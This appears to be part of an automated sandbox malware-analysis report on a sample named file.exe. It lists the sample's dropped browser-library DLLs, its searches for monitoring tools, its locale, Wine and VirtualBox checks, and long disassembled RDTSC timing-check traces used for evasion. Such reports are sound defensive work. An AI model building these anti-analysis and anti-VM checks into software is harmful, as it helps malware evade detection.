Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00EF9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58483

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114216C second address: 114217D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114217D second address: 1142181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A11E second address: 129A122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A122 second address: 129A171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F148D202216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F148D202226h 0x00000012 jmp 00007F148D202222h 0x00000017 pop edi 0x00000018 jmp 00007F148D202221h 0x0000001d jl 00007F148D20221Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3B29 second address: 12B3B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3E3E second address: 12B3E6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F148D202222h 0x0000000c jmp 00007F148D20221Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3E6B second address: 12B3E79 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F148D354EB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3E79 second address: 12B3E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3E7D second address: 12B3E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7105 second address: 12B711E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D202225h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B711E second address: 12B712F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B712F second address: 12B7135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7135 second address: 12B713A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B713A second address: 12B7155 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F148D20221Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F148D202216h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7155 second address: 12B718F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F148D354EC9h 0x0000000c jng 00007F148D354EB6h 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 jmp 00007F148D354EBAh 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B718F second address: 12B71D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop eax 0x00000007 movzx esi, di 0x0000000a lea ebx, dword ptr [ebp+12448F42h] 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F148D202218h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jmp 00007F148D202221h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B71D8 second address: 12B71E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B71E9 second address: 12B71EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B71EF second address: 12B71F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B726F second address: 12B727E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D20221Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B727E second address: 12B72DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F148D354EBFh 0x0000000e nop 0x0000000f mov ecx, 0406C69Bh 0x00000014 push 00000000h 0x00000016 ja 00007F148D354EC0h 0x0000001c call 00007F148D354EB9h 0x00000021 jc 00007F148D354EC6h 0x00000027 jmp 00007F148D354EC0h 0x0000002c push eax 0x0000002d push edi 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F148D354EBDh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B72DE second address: 12B72E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B72E2 second address: 12B72F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F148D354EB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B72F7 second address: 12B7308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D20221Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7308 second address: 12B730D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B730D second address: 12B7327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F148D20221Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7327 second address: 12B732C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B732C second address: 12B7352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F148D202223h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7352 second address: 12B73D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov esi, 151E5EBDh 0x00000010 cld 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F148D354EB8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d or dword ptr [ebp+12442138h], ebx 0x00000033 push 00000000h 0x00000035 mov esi, dword ptr [ebp+122D37F4h] 0x0000003b push 00000003h 0x0000003d jo 00007F148D354EBCh 0x00000043 or edx, dword ptr [ebp+122D376Ch] 0x00000049 call 00007F148D354EB9h 0x0000004e push esi 0x0000004f pushad 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 pop esi 0x00000056 push eax 0x00000057 pushad 0x00000058 jmp 00007F148D354EC6h 0x0000005d push eax 0x0000005e push edx 0x0000005f jnl 00007F148D354EB6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B73D0 second address: 12B73D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B73D4 second address: 12B7441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F148D354EC6h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push esi 0x00000013 jg 00007F148D354EBCh 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jmp 00007F148D354EC6h 0x00000023 pop eax 0x00000024 mov di, bx 0x00000027 lea ebx, dword ptr [ebp+12448F4Bh] 0x0000002d mov cl, EBh 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F148D354EC1h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7441 second address: 12B7454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D20221Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8D44 second address: 12D8D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D354EBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6E38 second address: 12D6E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6E3C second address: 12D6E46 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D749D second address: 12D74A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D760A second address: 12D7617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D78A4 second address: 12D78BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202226h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8437 second address: 12D8446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jnl 00007F148D354EB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8446 second address: 12D844A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D844A second address: 12D8485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F148D354EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F148D354EC3h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F148D354EC8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8485 second address: 12D848B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8B74 second address: 12D8B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE3F8 second address: 12DE418 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F148D20221Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE418 second address: 12DE454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F148D354EC4h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE454 second address: 12DE458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE458 second address: 12DE45C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE45C second address: 12DE462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE5F3 second address: 12DE5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE5F7 second address: 12DE5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE5FD second address: 12DE621 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F148D354EC6h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE621 second address: 12DE626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC753 second address: 12AC75D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC75D second address: 12AC775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D202222h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC775 second address: 12AC779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC779 second address: 12AC79E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F148D202227h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AC79E second address: 12AC7A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2A1D second address: 12E2A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2A21 second address: 12E2A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2A43 second address: 12E2A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D202224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2BC1 second address: 12E2BD3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F148D354EB8h 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2D39 second address: 12E2D43 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F148D20221Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2D43 second address: 12E2D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F148D354EBEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F148D354EBEh 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2E83 second address: 12E2E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D20221Dh 0x00000009 pop edi 0x0000000a jc 00007F148D20221Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3190 second address: 12E3194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3194 second address: 12E319A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E319A second address: 12E31AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F148D354EBAh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E31AE second address: 12E31B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3324 second address: 12E3328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3328 second address: 12E333D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F148D20221Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3486 second address: 12E3495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F148D354EBAh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3495 second address: 12E349B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E349B second address: 12E34A8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E69A8 second address: 12E69AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E69AE second address: 12E69B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6D76 second address: 12E6D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D202226h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6D90 second address: 12E6D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7015 second address: 12E7028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D20221Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7028 second address: 12E703B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jne 00007F148D354EB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E703B second address: 12E7044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7044 second address: 12E7048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E71E0 second address: 12E71F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7A12 second address: 12E7A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F148D354EB6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7AB2 second address: 12E7AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7AB6 second address: 12E7AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F148D354EC0h 0x00000010 rdtsc
